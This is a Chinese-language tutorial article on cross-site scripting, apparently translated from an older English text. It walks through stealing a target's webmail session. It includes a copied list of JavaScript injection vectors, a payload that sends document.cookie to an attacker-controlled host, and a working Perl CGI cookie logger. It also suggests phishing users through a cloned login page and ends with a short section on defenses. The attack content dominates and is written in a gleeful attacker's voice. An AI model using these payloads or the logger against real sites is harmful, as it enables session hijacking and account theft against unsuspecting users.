跨站脚本说明
跨站脚本说明
发布时间:2016-12-26 来源:查字典编辑
摘要:以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到...

以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的

问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章

抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误

之处请

多多指点。

OK,go............

什么是跨站脚本(CSS/XSS)?

我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该

页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,

有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,

如果

你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。

XSS和脚本注射的区别?

原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的

漏洞都被称为XSS,还有另一种攻击方式:"ScriptInjection",他们的区别在以下两点:

1.(ScriptInjection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如

:sqlinjection,XPathinjection.

2.跨站脚本是临时的,执行后就消失了

什么类型的脚本可以被插入远程页面?

主流脚本包括以下几种:

HTML

JavaScript(本文讨论)

VBScript

ActiveX

Flash

是什么原因导致一个站点存在XSS的安全漏洞?

许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,

出错信息会被打印到一个html文件,并将该错误页面发送给访问者。

例如:404-yourfile.htmlNotFound!

我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。

例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html

该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_

me.html

,一个包含404-brainrawt_owns_me.htmlNotFound!信息的页面将反馈给访问者的浏览

器。

考虑一下它是如何把我们的输入写到html文件里的?

OK,现在是我们检查XSS漏洞的时候了!

注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面

里。当然方法很多

www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc

ript>

当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?

这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。

下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理

就直接写入404error页面中,结果创建了一个页面,如下:

<html>

<b>404</b>-<script>alert('XSS_Vuln_Testing')</script>NotFound!

</html>

其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。

如何利用XSS来完成hacking?

如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入

一个

html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入

该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

事例:

假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的

目标是b00b这个人。

www.myemailserver.tld/cgi-bin/news.cgi?article=59035

把上面存在CSS漏洞的连接修改一下:

www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red

这会创建了一个错误页面,我们得到如下信息:

InvalidInput![article=hax0red]

当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。

www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<

/script>

<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对

<script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本

下面我们瞧瞧如何利用该漏洞入侵b00b同志的邮箱,首先你必须知道b00b的email地址,

并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然

它的用意就是从b00b机器中cookie信息里获得自己想要的东东。

想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美

如何呀?”

那么当可怜的b00b访问www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取

并保存cookie的脚本

</script>

连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!

如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,

然后引导用户登陆你的恶意系统页面

这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,

那些笨蛋并不会意识到实际发生的事情。

把javascript脚本插入WEB页面的不同方法:

<snip>

拷贝自:GOBBLESSECURITYADVISORY#33

Hereisacut-n-pastecollectionoftypicalJavaScript-injectionhacks

youmayderivesomegleefromplayingwith.

<ahref="javascript#[code]">

<divonmouseover="[code]">

<imgsrc="javascript:[code]">

<imgdynsrc="javascript:[code]">[IE]

<inputtype="image"dynsrc="javascript:[code]">[IE]

<bgsoundsrc="javascript:[code]">[IE]

&<script>[code]</script>

&{[code]};[N4]

<imgsrc=&{[code]};>[N4]

<linkrel="stylesheet"href="javascript:[code]">

<iframesrc="vbscript:[code]">[IE]

<imgsrc="mocha:[code]">[N4]

<imgsrc="livescript:[code]">[N4]

<ahref="about:<script>[code]</script>">

<metahttp-equiv="refresh"content="0;url=javascript:[code]">

<bodyonload="[code]">

<divstyle="background-image:url(javascript:[code]);">

<divstyle="behaviour:url([linktocode]);">[IE]

<divstyle="binding:url([linktocode]);">[Mozilla]

<divstyle="width:expression([code]);">[IE]

<styletype="text/javascript">[code]</style>[N4]

<objectclassid="clsid:..."codebase="javascript:[code]">[IE]

<style><></script>

<![CDATA[<></script>

<--><script>[code]</script><-->

<script>[code]</script>

<imgsrc="blah"onmouseover="[code]">

<imgsrc="blah>"onmouseover="[code]">

<xmlsrc="javascript:[code]">

<xmlid="X"><a><b><script>[code]</script>;</b></a></xml>

<divdatafld="b"dataformatas="html"datasrc="#X"></div>

[/xC0][/xBC]script>[code][/xC0][/xBC]/script>[UTF-8;IE,Opera]

----CopiedfromGOBBLESSECURITYADVISORY#33----

</snip>

一个真正的获取cookie并且做记录的例子:

注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,

当我测试下面的信息时,使用

javascript创建访问者的cookies,javascript脚本放在index.html文件中。

OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:

http://website.tld/program.cgi?input=<eviljavascript>

我们创建这样一个连接:

http://website.tld/program.cgi?input=<script>document.location='http://yoursite

.tld

/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>

然后让保存该站点cookie的用户访问这个连接:

这是我们的CGI脚本,它的作用就是对用户cookie做记录:

---------evil_cookie_logger.cgi-----------

#!/usr/bin/perl

#evil_cookie_logger.cgi

#remotecookieloggingCGIcodedbyBrainRawt

#

#NOTE:codedasaproofofconceptscriptwhentestingfor

#cross-sitescriptingvulnerabilities.

$borrowed_info=$ENV{'QUERY_STRING'};

$borrowed_info=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg;

open(EVIL_COOKIE_LOG,">>evil_cookie_log")orprint"Content-type:

text/html/n/nsomethingwentwrong/n";

printEVIL_COOKIE_LOG"$borrowed_info/n";

print"Content-type:text/html/n/n";

close(EVIL_COOKIE_LOG);

------------------------------------------

该脚本首先通过$ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,

通过open(EVIL_COOKIE_LOG,">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo

g文件。

注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,

这仅仅是我在自己的站点上做测试用的。

如何防范XSS攻击?

1.在你的WEB浏览器上禁用javascript脚本

2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。

可以把"<",">"转换为<,>

注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,

这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类